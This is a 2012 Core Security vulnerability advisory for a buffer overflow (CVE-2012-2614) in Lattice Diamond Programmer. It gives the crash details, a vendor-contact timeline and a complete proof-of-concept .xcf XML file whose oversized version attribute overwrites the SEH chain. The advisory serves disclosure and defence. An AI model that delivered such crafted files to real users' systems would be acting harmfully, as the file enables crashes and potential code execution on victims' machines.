Lattice Diamond Programmer Buffer Overflow

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Lattice Diamond Programmer Buffer Overflow  
  
  
1. *Advisory Information*  
  
Title: Lattice Diamond Programmer Buffer Overflow  
Advisory ID: CORE-2012-0530  
Advisory URL:  
http://www.coresecurity.com/content/lattice-diamond-programmer-buffer-overflow  
Date published: 2012-06-21  
Date of last update: 2012-06-21  
Vendors contacted: Lattice Semiconductor Corporation  
Release mode: User release  
  
  
2. *Vulnerability Information*  
  
Class: Buffer overflow [CWE-119]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2012-2614  
  
  
3. *Vulnerability Description*  
  
Lattice Diamond Programmer [1] is vulnerable to client-side attacks,  
which can be exploited by remote attackers to run arbitrary code by  
sending specially crafted '.xcf' files.  
  
  
4. *Vulnerable packages*  
  
. Diamond Programmer 1.4.2 for Windows.  
. Older versions are probably affected too, but they were not checked.  
  
  
5. *Non-vulnerable packages*  
  
. Vendor did not provide this information.  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
The vendor did not reply any contact email sent by Core Security  
Advisories Team. Contact Lattice for further information about this  
issue [2]. Given that this is a client-side vulnerability, affected  
users should not open untrusted '.xcf' files using 'programmer.exe' nor  
'deployment.exe'.  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Daniel Kazimirow and  
Ricardo Narvaja from Core Security Exploit Team.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
This vulnerability can be exploited by opening a specially crafted  
'.xcf' file from 'programmer.exe'. The module 'deployment.exe' may also  
be vulnerable, but this possiblity was not researched any further.  
  
The XML file showed at [Sec. 8.1] crashes 'programmer.exe' at the address:  
  
/-----  
00FB5E20 8A0402 MOV AL,BYTE PTR DS:[EDX+EAX]  
00FB5E23 C2 0400 RETN 4  
-----/  
  
and overwrites the SEH chain (there is no SEH protection) with  
'41414141', which is proof that the buffer was overflown. This means  
that there is a buffer overflow vulnerability, and 'EIP' can be set to  
an arbitrary value, allowing an attacker to take control of the machine.  
  
  
8.1. *Proof of Concept*  
  
/-----  
<?xml version='1.0' encoding='utf-8' ?>  
<!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >  
<ispXCF  
version="8.9.09.09999999999AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">  
<Comment></Comment>  
<Chain>  
<Comm>JTAG</Comm>  
<Device>  
<Pos>1</Pos>  
<Vendor>Lattice</Vendor>  
<Family>ispLSI 5000VE</Family>  
<Name>5256VE</Name>  
<IDCode>0x00368043</IDCode>  
<Package>128-pin TQFP</Package>  
<PON>ispLSI5256VE-XXLT128</PON>  
<Bypass>  
<InstrLen>5</InstrLen>  
<InstrVal>11111</InstrVal>  
<BScanLen>1</BScanLen>  
<BScanVal>0</BScanVal>  
</Bypass>  
<File>C:\ispTOOLS\ispvmsystem\TutorialU6vea.jed</File>  
<FileTime>05/17/02 18:15:33</FileTime>  
<JedecChecksum>0xF9BD</JedecChecksum>  
<Operation>Erase,Program,Verify</Operation>  
<Option>  
<SVFVendor>JTAG STANDARD</SVFVendor>  
<IOState>HighZ</IOState>  
  
<IOVectorData>0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</IOVectorData>  
<Reinitialize value="TRUE"/>  
<OverideUES value="TRUE"/>  
<TCKFrequency>1.000000 MHz</TCKFrequency>  
<SVFProcessor>ispVM</SVFProcessor>  
<Usercode>0x0000F9BD</Usercode>  
</Option>  
</Device>  
</Chain>  
<ProjectOptions>  
<Program>SEQUENTIAL</Program>  
<Process>ENTIRED CHAIN</Process>  
<OperationOverride>No Override</OperationOverride>  
<StartTAP>TLR</StartTAP>  
<EndTAP>TLR</EndTAP>  
<DeGlitch value="TRUE"/>  
<VerifyUsercode value="TRUE"/>  
<PinSetting>  
TMS LOW;  
TCK LOW;  
TDI LOW;  
TDO LOW;  
TRST ABSENT;  
CableEN HIGH;  
</PinSetting>  
</ProjectOptions>  
</ispXCF>  
-----/  
  
  
9. *Report Timeline*  
  
. 2012-05-30:  
Core Security Technologies notifies Lattice Semiconductor Corporation of  
the vulnerability. Publication date is set for June 26th, 2012.  
  
. 2012-06-06:  
Core notifies Lattice Semiconductor Corporation of the vulnerability.  
  
. 2012-06-11:  
Core notifies that the previous emails were not answered and requests  
for a reply.  
  
. 2012-06-11:  
Vendor asks Core to remove their email addresses from Core's mailing lists.  
  
. 2012-06-11:  
Core requests an email address or any other security contact information  
at Lattice in order to begin discussions in regards to the  
vulnerability. No reply was received.  
  
. 2012-06-21:  
Advisory CORE-2012-0530 published.  
  
  
10. *References*  
  
[1] http://www.latticesemi.com/products/designsoftware/diamond/index.cfm.  
[2] Lattice technical support, mailto:[email protected].  
  
  
11. *About CoreLabs*  
  
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13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2011 Core Security  
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
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